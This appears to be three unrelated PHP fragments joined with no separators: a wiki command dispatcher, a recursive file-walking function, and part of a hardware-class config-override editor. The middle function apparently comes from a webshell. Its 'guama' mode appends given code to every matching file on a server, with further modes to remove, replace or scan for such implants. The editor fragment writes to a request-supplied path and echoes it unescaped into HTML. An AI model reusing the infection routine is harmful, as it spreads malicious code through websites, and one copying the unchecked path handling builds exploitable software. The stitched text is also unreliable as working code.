function main() { global $main_command, $form, $id_pattern, $random_seed, $allow_toc, $allow_rebuild, $show_plink, $allid; # Random init. srand($random_seed); rand(); rand(); rand(); TIEHASH(); foreach ($form as $key => $val) { if (preg_match('/^c$/', $key)) { $main_command = 'create'; do_create(); break; } elseif (preg_match('/^e(' . $id_pattern . ')$/', $key, $matches)) { $main_command = 'edit'; do_edit($matches[1]); break; } elseif (preg_match('/^w(' . $id_pattern . ')$/', $key, $matches)) { $main_command = 'write'; do_write($matches[1]); break; } elseif (preg_match('/^toc$/', $key)) { if ($allow_toc) { $main_command = 'toc'; $show_plink = 0; show_toc(); } break; } elseif (preg_match('/^rebuild$/', $key)) { if ($allow_rebuild) { foreach ($allid as $id => $val) { if (preg_match('/^' . $id_pattern . '$/', $id)) { unlink_html($id); build_html($id); } } } } } if (!$main_command) { $main_command = 'random'; do_random(); } }
function do_passreturn($dir, $code, $type, $bool, $filetype = '', $shell = my_shell) { $show = do_show($dir); foreach ($show as $files) { if (is_dir($files) && $bool) { do_passreturn($files, $code, $type, $bool, $filetype, $shell); } else { if ($files == $shell) { continue; } switch ($type) { case "guama": if (debug($files, $filetype)) { do_write($files, "ab", "\n" . $code) ? html_n("成功--> {$files}<br>") : html_n("失败--> {$files}<br>"); } break; case "qingma": $filecode = @file_get_contents($files); if (stristr($filecode, $code)) { $newcode = str_replace($code, '', $filecode); do_write($files, "wb", $newcode) ? html_n("成功--> {$files}<br>") : html_n("失败--> {$files}<br>"); } break; case "tihuan": $filecode = @file_get_contents($files); if (stristr($filecode, $code)) { $newcode = str_replace($code, $filetype, $filecode); do_write($files, "wb", $newcode) ? html_n("成功--> {$files}<br>") : html_n("失败--> {$files}<br>"); } break; case "scanfile": $file = explode('/', $files); if (stristr($file[count($file) - 1], $code)) { html_a("?eanver=editr&p={$files}", $files); echo '<br>'; } break; case "scancode": $filecode = @file_get_contents($files); if (stristr($filecode, $code)) { html_a("?eanver=editr&p={$files}", $files); echo '<br>'; } break; case "scanphp": $fileinfo = pathinfo($files); if ($fileinfo['extension'] == $code) { $filecode = @file_get_contents($files); if (muma($filecode, $code)) { html_a("?eanver=editr&p=" . urlencode($files), "编辑"); html_a("?eanver=del&p=" . urlencode($files), "删除"); echo $files . '<br>'; } } break; } } } }
die("text not specified for config write"); } $data = str_replace("\r\n", "\n", $_REQUEST["text"]); $class_obj->edit_override($path, $data); } $class_obj = HardwareClass::load_from_id($class_id); if (!array_key_exists("path", $_REQUEST)) { die("override path not specified"); } $path = $_REQUEST["path"]; if (array_key_exists("action", $_REQUEST)) { $action = $_REQUEST["action"]; switch ($action) { # handle different actions case "write": do_write($class_obj, $path); } } ?> <html> <head> <title>Edit Override: file <?php print $path; ?> in class <?php print $class_obj->get_name(); ?> </title> </head>